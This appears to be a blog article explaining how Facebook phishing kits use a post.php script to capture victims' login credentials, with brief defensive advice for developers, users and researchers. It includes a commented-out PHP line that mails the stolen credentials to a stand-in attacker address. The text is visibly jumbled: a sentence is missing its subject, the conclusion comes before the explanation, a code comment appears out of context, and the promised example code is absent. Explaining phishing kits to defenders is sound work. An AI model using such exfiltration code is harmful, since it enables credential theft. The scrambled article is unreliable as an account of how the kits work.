In the digital ecosystem, Facebook remains a goldmine for cybercriminals. With over 3 billion monthly active users, a single compromised account can be used to spread scams, harvest personal data, or even launch financial fraud. Among the various techniques attackers use, is one of the most dangerous yet misunderstood.
In this article, we will break down exactly how these phishing kits work, analyze the PHP code behind them, and—most importantly—teach you how to defend against them. A post.php file is the backend engine of most Facebook phishing campaigns. When a victim lands on a fake Facebook login page (often hosted on a compromised legitimate website or a lookalike domain like faceb00k-login[.]com ), the HTML form submits the entered email and password to this post.php script.
// 6. Optional: Send to attacker's email (more risky for them) // mail("attacker@protonmail.com", "New Facebook Log", $data);
For developers: Audit your servers regularly. Monitor for unexpected file_put_contents calls and external redirects. For users: Never trust a login page you didn’t navigate to yourself. For researchers: Keep dissecting; the more we expose these code patterns, the harder it becomes for attackers to operate.
When security researchers talk about "Facebook phishing postphp code," they are referring to a specific breed of server-side scripts designed to intercept login credentials. Unlike simple fake login pages that only capture data locally, these PHP scripts actively process, store, and sometimes even redirect victims to the real Facebook to avoid suspicion.

Below is an anonymized but realistic example of the PHP code used in the wild for Facebook phishing. Let's analyze it line by logical section.
